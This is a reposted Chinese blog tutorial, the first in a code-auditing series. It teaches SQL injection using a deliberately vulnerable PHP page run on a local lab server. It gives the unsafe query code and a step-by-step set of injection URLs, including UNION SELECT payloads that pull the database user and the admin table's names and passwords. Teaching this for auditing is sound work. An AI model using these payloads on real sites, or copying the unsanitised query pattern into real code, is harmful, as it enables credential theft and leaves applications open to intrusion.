代码审计的艺术系列-第一篇

2019-04-04 约 1102 字 预计阅读 3 分钟

声明:本文 【代码审计的艺术系列-第一篇】 由作者 小冰 于 2016-10-23 03:03:00 首发 先知社区 曾经 浏览数 6193 次

感谢 小冰 的辛苦付出!

作者:HackBraid

0x02 准备

知识储备:php基础、MySql入门
工具:notepad++
服务器环境:wamp
测试代码和sql:http://pan.baidu.com/s/1eRIReOa

0x03 代码审计脑图

总结好的审计脑图如下:

脑图主要总结了SQL注入、代码&&命令执行、文件操作相关以及设计缺陷四种常见漏洞,每种漏洞又有很多种情况和案例,所以后面的文章会陆续把这些做成案例分享给大家。这篇首先介绍一下SQL注入漏洞。

0x04 SQL注入入门

现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。
Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:

<?php
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
//这里id没有做整形转换
$id = isset($_GET['id']) ? $_GET['id'] : 1;
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>

浏览器输入:http://localhost/sqltest/news.php?id=1 ,发现输出了一条新闻的标题和内容如下图:

然后我们输入”http://localhost/sqltest/news.php?id=1 and 1=1”,发现返回了跟上面一样的结果,然后我们查了下sql查询的日志,成功执行的sql语句如下:

SELECT * FROM news WHERE id=1 and 1=1

然后看了下数据库表news里有三个字段,我们构造一个union联合查询的语句”http://localhost/sqltest/news.php?id=-1 union select 1,2,3”,页面输出了2和3:

对应执行的sql语句:

SELECT * FROM news WHERE id=-1 union select 1,2,3
2和3都是输出点,我们可以构造获取MySql数据库的用户名的语句”http://localhost/sqltest/news.php?id=-1union select 1,user(),3”,页面输出了root@localhost:

对应执行的sql语句:

SELECT * FROM news WHERE id=-1 union select 1,user(),3
进一步观察数据库,发现除了news表外还有个admin表,我们可以构造获取管理员账户密码的语句”http://localhost/sqltest/news.php?id=-1 union select 1,2,concat(name,0x23,pass) from admin”

对应执行的sql语句:

SELECT * FROM news WHERE id=-1 union select 1,2,concat(name,0x23,pass) from admin

关键词:[‘新手’, ‘入门资料’]

相关文章:


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now